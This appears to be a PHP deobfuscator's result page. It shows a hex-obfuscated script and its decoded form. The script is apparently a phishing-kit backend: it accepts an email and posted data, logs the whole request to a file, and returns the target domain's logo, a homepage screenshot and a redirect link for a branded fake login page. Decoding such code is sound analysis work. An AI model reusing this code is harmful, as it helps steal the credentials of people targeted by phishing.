Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dp\x61\x67e\x65\x74"]="f\x69\x6e\x61l";${"\x47\x4..

Decoded Output download

<?php ${"GLOBALS"}["dpageet"]="final";${"GLOBALS"}["bifkkg"]="ind";${"GLOBALS"}["czmctcthnvqb"]="my_slice";${"GLOBALS"}["dhyjbvqzzb"]="my_user";${"GLOBALS"}["voimslrbkicr"]="email";${"GLOBALS"}["dfmgqfegj"]="response";${"GLOBALS"}["hqtexrir"]="logData";${"GLOBALS"}["jndwbekpt"]="value";${"GLOBALS"}["vkkpotlg"]="key";${"GLOBALS"}["wpuisx"]="accounts";header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Methods: POST");header("Access-Control-Allow-Headers: Content-Type");header("Content-Type: application/json");function check_api_key($api_key){${"GLOBALS"}["leopicyvrjwd"]="value";$riuwkuvu="accounts";${"GLOBALS"}["bhxkqfa"]="key";${${"GLOBALS"}["wpuisx"]}=parse_ini_file("access.ini");foreach(${$riuwkuvu} as${${"GLOBALS"}["bhxkqfa"]}=>${${"GLOBALS"}["leopicyvrjwd"]}){$qqysguvcocv="api_key";if(${${"GLOBALS"}["vkkpotlg"]}!=="default"&&${$qqysguvcocv}===${${"GLOBALS"}["jndwbekpt"]}){return true;}}return false;}function logRequest($data,$response){${"GLOBALS"}["igxriljlb"]="data";${${"GLOBALS"}["hqtexrir"]}="Request: ".json_encode(${${"GLOBALS"}["igxriljlb"]})."
Response: ".json_encode(${${"GLOBALS"}["dfmgqfegj"]})."

";file_put_contents("api.log",${${"GLOBALS"}["hqtexrir"]},FILE_APPEND);}if($_SERVER["REQUEST_METHOD"]==="POST"){${"GLOBALS"}["fhxtkkb"]="api_key";$uocnbtojwb="email";${${"GLOBALS"}["voimslrbkicr"]}=$_POST["user"]??"";${"GLOBALS"}["bpdhtrttn"]="api_key";${${"GLOBALS"}["fhxtkkb"]}=$_POST["api_key"]??"";if(${$uocnbtojwb}===""){${"GLOBALS"}["dbxkqabivg"]="response";${${"GLOBALS"}["dbxkqabivg"]}=["signal"=>"error","msg"=>"Email is required"];}elseif(!check_api_key(${${"GLOBALS"}["bpdhtrttn"]})){$xdtwqhhrw="response";${$xdtwqhhrw}=["signal"=>"error","msg"=>"Invalid API key"];}else{$ljfnsnws="ind";${"GLOBALS"}["swexmdhc"]="my_user";${"GLOBALS"}["crcjoui"]="c";$borqpko="my_slice";${${"GLOBALS"}["dhyjbvqzzb"]}=${${"GLOBALS"}["voimslrbkicr"]};${"GLOBALS"}["uknmpa"]="c";${$ljfnsnws}=strpos(${${"GLOBALS"}["dhyjbvqzzb"]},"@");${"GLOBALS"}["mrnoesfv"]="my_slice";${${"GLOBALS"}["czmctcthnvqb"]}=substr(${${"GLOBALS"}["swexmdhc"]},(${${"GLOBALS"}["bifkkg"]}+1));${${"GLOBALS"}["uknmpa"]}=substr(${${"GLOBALS"}["czmctcthnvqb"]},0,strpos(${${"GLOBALS"}["mrnoesfv"]},"."));$mkibwyezast="final";${${"GLOBALS"}["dpageet"]}=strtolower(${${"GLOBALS"}["crcjoui"]});${"GLOBALS"}["georosgrw"]="my_slice";${${"GLOBALS"}["dfmgqfegj"]}=["signal"=>"ok","msg"=>"Login successful","response"=>["domain"=>${$mkibwyezast},"dmlogo"=>"https://logo.clearbit.com/".${${"GLOBALS"}["georosgrw"]},"mainPage"=>"https://image.thum.io/get/http://".${$borqpko},"redirect_link"=>"https://".${${"GLOBALS"}["czmctcthnvqb"]},],];logRequest($_POST,${${"GLOBALS"}["dfmgqfegj"]});echo json_encode(${${"GLOBALS"}["dfmgqfegj"]});}}else{${${"GLOBALS"}["dfmgqfegj"]}=["signal"=>"error","msg"=>"Invalid request method"];$vupnixbtd="response";echo json_encode(${$vupnixbtd});} 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dp\x61\x67e\x65\x74"]="f\x69\x6e\x61l";${"\x47\x4c\x4f\x42AL\x53"}["\x62if\x6bkg"]="\x69n\x64";${"GL\x4fB\x41\x4c\x53"}["\x63zmc\x74c\x74hnvq\x62"]="\x6d\x79_\x73l\x69\x63e";${"\x47L\x4fBAL\x53"}["\x64hy\x6ab\x76\x71z\x7a\x62"]="\x6dy\x5f\x75se\x72";${"\x47\x4cOB\x41\x4cS"}["v\x6fi\x6ds\x6c\x72\x62\x6b\x69\x63r"]="\x65\x6d\x61i\x6c";${"G\x4c\x4fB\x41\x4c\x53"}["\x64f\x6dg\x71fe\x67\x6a"]="\x72\x65\x73\x70o\x6e\x73e";${"\x47\x4c\x4f\x42AL\x53"}["\x68\x71\x74\x65xr\x69\x72"]="\x6c\x6f\x67\x44\x61\x74\x61";${"G\x4cOB\x41\x4c\x53"}["\x6a\x6edwbe\x6bp\x74"]="v\x61\x6c\x75e";${"\x47LO\x42A\x4cS"}["\x76\x6b\x6b\x70otlg"]="\x6be\x79";${"\x47\x4c\x4f\x42A\x4cS"}["\x77p\x75is\x78"]="\x61c\x63\x6f\x75n\x74\x73";header("Ac\x63e\x73s-C\x6fntrol-A\x6c\x6c\x6f\x77-\x4fri\x67\x69n:\x20*");header("A\x63ce\x73\x73-\x43\x6fn\x74rol-\x41llo\x77-\x4de\x74hod\x73: \x50O\x53T");header("\x41\x63ce\x73s-\x43\x6fntr\x6f\x6c-\x41\x6clow-H\x65\x61\x64\x65rs: \x43\x6f\x6e\x74e\x6e\x74-Ty\x70e");header("C\x6fnt\x65nt-\x54ype: a\x70\x70l\x69ca\x74\x69on/j\x73\x6f\x6e");function check_api_key($api_key){${"\x47LOB\x41\x4c\x53"}["\x6ce\x6f\x70\x69\x63\x79vrjwd"]="v\x61l\x75e";$riuwkuvu="\x61\x63\x63\x6funt\x73";${"G\x4c\x4fB\x41L\x53"}["\x62\x68\x78\x6b\x71fa"]="\x6be\x79";${${"G\x4c\x4f\x42\x41L\x53"}["\x77p\x75\x69\x73\x78"]}=parse_ini_file("\x61cce\x73s.\x69n\x69");foreach(${$riuwkuvu} as${${"GLO\x42\x41L\x53"}["b\x68\x78\x6b\x71f\x61"]}=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ce\x6fpi\x63\x79vrjwd"]}){$qqysguvcocv="\x61\x70\x69\x5f\x6bey";if(${${"G\x4cO\x42\x41LS"}["\x76\x6b\x6b\x70\x6ft\x6c\x67"]}!=="defaul\x74"&&${$qqysguvcocv}===${${"\x47L\x4fBA\x4c\x53"}["\x6a\x6edw\x62\x65\x6b\x70\x74"]}){return true;}}return false;}function logRequest($data,$response){${"GLO\x42\x41\x4c\x53"}["\x69gxr\x69\x6c\x6al\x62"]="d\x61t\x61";${${"GL\x4f\x42\x41L\x53"}["\x68\x71\x74\x65x\x72\x69\x72"]}="\x52\x65que\x73t: ".json_encode(${${"\x47\x4c\x4f\x42A\x4c\x53"}["i\x67x\x72\x69\x6c\x6al\x62"]})."\nR\x65s\x70\x6fns\x65: ".json_encode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64f\x6d\x67\x71f\x65g\x6a"]})."\n\n";file_put_contents("\x61pi\x2el\x6f\x67",${${"GL\x4f\x42\x41LS"}["\x68\x71\x74e\x78\x72\x69\x72"]},FILE_APPEND);}if($_SERVER["\x52\x45\x51\x55EST\x5f\x4d\x45T\x48\x4fD"]==="\x50\x4fS\x54"){${"\x47\x4cO\x42\x41LS"}["\x66\x68\x78t\x6bk\x62"]="ap\x69_\x6bey";$uocnbtojwb="\x65\x6d\x61\x69l";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76oims\x6c\x72\x62ki\x63r"]}=$_POST["\x75\x73e\x72"]??"";${"\x47\x4c\x4f\x42AL\x53"}["\x62p\x64htrtt\x6e"]="\x61\x70\x69_\x6b\x65\x79";${${"\x47L\x4fB\x41\x4c\x53"}["\x66\x68x\x74\x6b\x6bb"]}=$_POST["a\x70\x69\x5f\x6b\x65y"]??"";if(${$uocnbtojwb}===""){${"\x47L\x4f\x42\x41LS"}["d\x62x\x6b\x71\x61bi\x76\x67"]="re\x73\x70o\x6e\x73\x65";${${"\x47LOB\x41LS"}["d\x62\x78\x6b\x71ab\x69vg"]}=["\x73\x69gn\x61\x6c"=>"\x65\x72\x72\x6f\x72","m\x73g"=>"\x45\x6d\x61\x69\x6c is\x20\x72\x65q\x75ir\x65\x64"];}elseif(!check_api_key(${${"\x47L\x4f\x42\x41L\x53"}["\x62\x70\x64\x68\x74r\x74\x74\x6e"]})){$xdtwqhhrw="\x72\x65\x73p\x6f\x6e\x73\x65";${$xdtwqhhrw}=["\x73i\x67n\x61\x6c"=>"\x65\x72\x72\x6f\x72","m\x73\x67"=>"In\x76\x61li\x64 A\x50I \x6bey"];}else{$ljfnsnws="\x69n\x64";${"\x47LO\x42\x41L\x53"}["\x73\x77\x65x\x6dd\x68\x63"]="\x6d\x79\x5f\x75\x73\x65\x72";${"G\x4c\x4fBA\x4cS"}["\x63rcj\x6f\x75\x69"]="\x63";$borqpko="m\x79\x5fs\x6ci\x63e";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x68\x79\x6a\x62vq\x7az\x62"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76oi\x6d\x73\x6c\x72\x62\x6bic\x72"]};${"\x47\x4c\x4f\x42\x41LS"}["\x75\x6b\x6emp\x61"]="\x63";${$ljfnsnws}=strpos(${${"\x47\x4c\x4fB\x41LS"}["dhy\x6abv\x71\x7a\x7a\x62"]},"@");${"\x47L\x4fB\x41LS"}["\x6d\x72\x6eo\x65\x73\x66\x76"]="my_s\x6c\x69\x63\x65";${${"G\x4c\x4fBA\x4c\x53"}["\x63\x7a\x6d\x63\x74\x63th\x6e\x76\x71\x62"]}=substr(${${"\x47L\x4fB\x41L\x53"}["s\x77\x65\x78m\x64hc"]},(${${"G\x4c\x4f\x42A\x4c\x53"}["b\x69\x66\x6b\x6bg"]}+1));${${"\x47\x4c\x4f\x42AL\x53"}["\x75\x6b\x6e\x6d\x70\x61"]}=substr(${${"\x47\x4cOB\x41\x4cS"}["c\x7a\x6d\x63\x74\x63\x74\x68\x6e\x76\x71\x62"]},0,strpos(${${"G\x4cO\x42\x41\x4c\x53"}["\x6drn\x6f\x65\x73\x66\x76"]},"\x2e"));$mkibwyezast="\x66\x69\x6e\x61\x6c";${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x70a\x67e\x65\x74"]}=strtolower(${${"GLO\x42\x41L\x53"}["cr\x63\x6a\x6f\x75\x69"]});${"\x47\x4cOBA\x4cS"}["\x67e\x6f\x72\x6f\x73\x67\x72w"]="my\x5fs\x6c\x69\x63\x65";${${"\x47\x4c\x4fB\x41\x4c\x53"}["df\x6d\x67\x71\x66\x65\x67\x6a"]}=["si\x67n\x61l"=>"ok","\x6d\x73\x67"=>"\x4cogin\x20su\x63\x63\x65ss\x66ul","r\x65sp\x6f\x6es\x65"=>["do\x6dai\x6e"=>${$mkibwyezast},"d\x6dlogo"=>"h\x74\x74\x70\x73://lo\x67o\x2ec\x6ce\x61rb\x69t\x2e\x63\x6f\x6d/".${${"G\x4c\x4f\x42\x41LS"}["g\x65\x6f\x72o\x73\x67rw"]},"m\x61i\x6e\x50a\x67\x65"=>"h\x74tps://\x69\x6d\x61\x67\x65.\x74h\x75\x6d.\x69o/\x67et/http://".${$borqpko},"re\x64\x69r\x65ct\x5f\x6c\x69\x6ek"=>"\x68\x74tp\x73://".${${"\x47LO\x42\x41\x4c\x53"}["\x63\x7a\x6d\x63\x74\x63thnv\x71b"]},],];logRequest($_POST,${${"\x47L\x4f\x42\x41LS"}["\x64\x66m\x67q\x66\x65\x67j"]});echo json_encode(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x66\x6d\x67\x71\x66\x65g\x6a"]});}}else{${${"G\x4c\x4f\x42\x41LS"}["d\x66\x6d\x67q\x66\x65\x67j"]}=["\x73ig\x6eal"=>"\x65r\x72\x6f\x72","\x6ds\x67"=>"I\x6ev\x61l\x69d\x20request me\x74ho\x64"];$vupnixbtd="\x72\x65\x73\x70\x6fnse";echo json_encode(${$vupnixbtd});}
?>

Function Calls

None

Variables

None

Stats

MD5 93b200525649ad87075075b7c8cab5dd
Eval Count 0
Decode Time 68 ms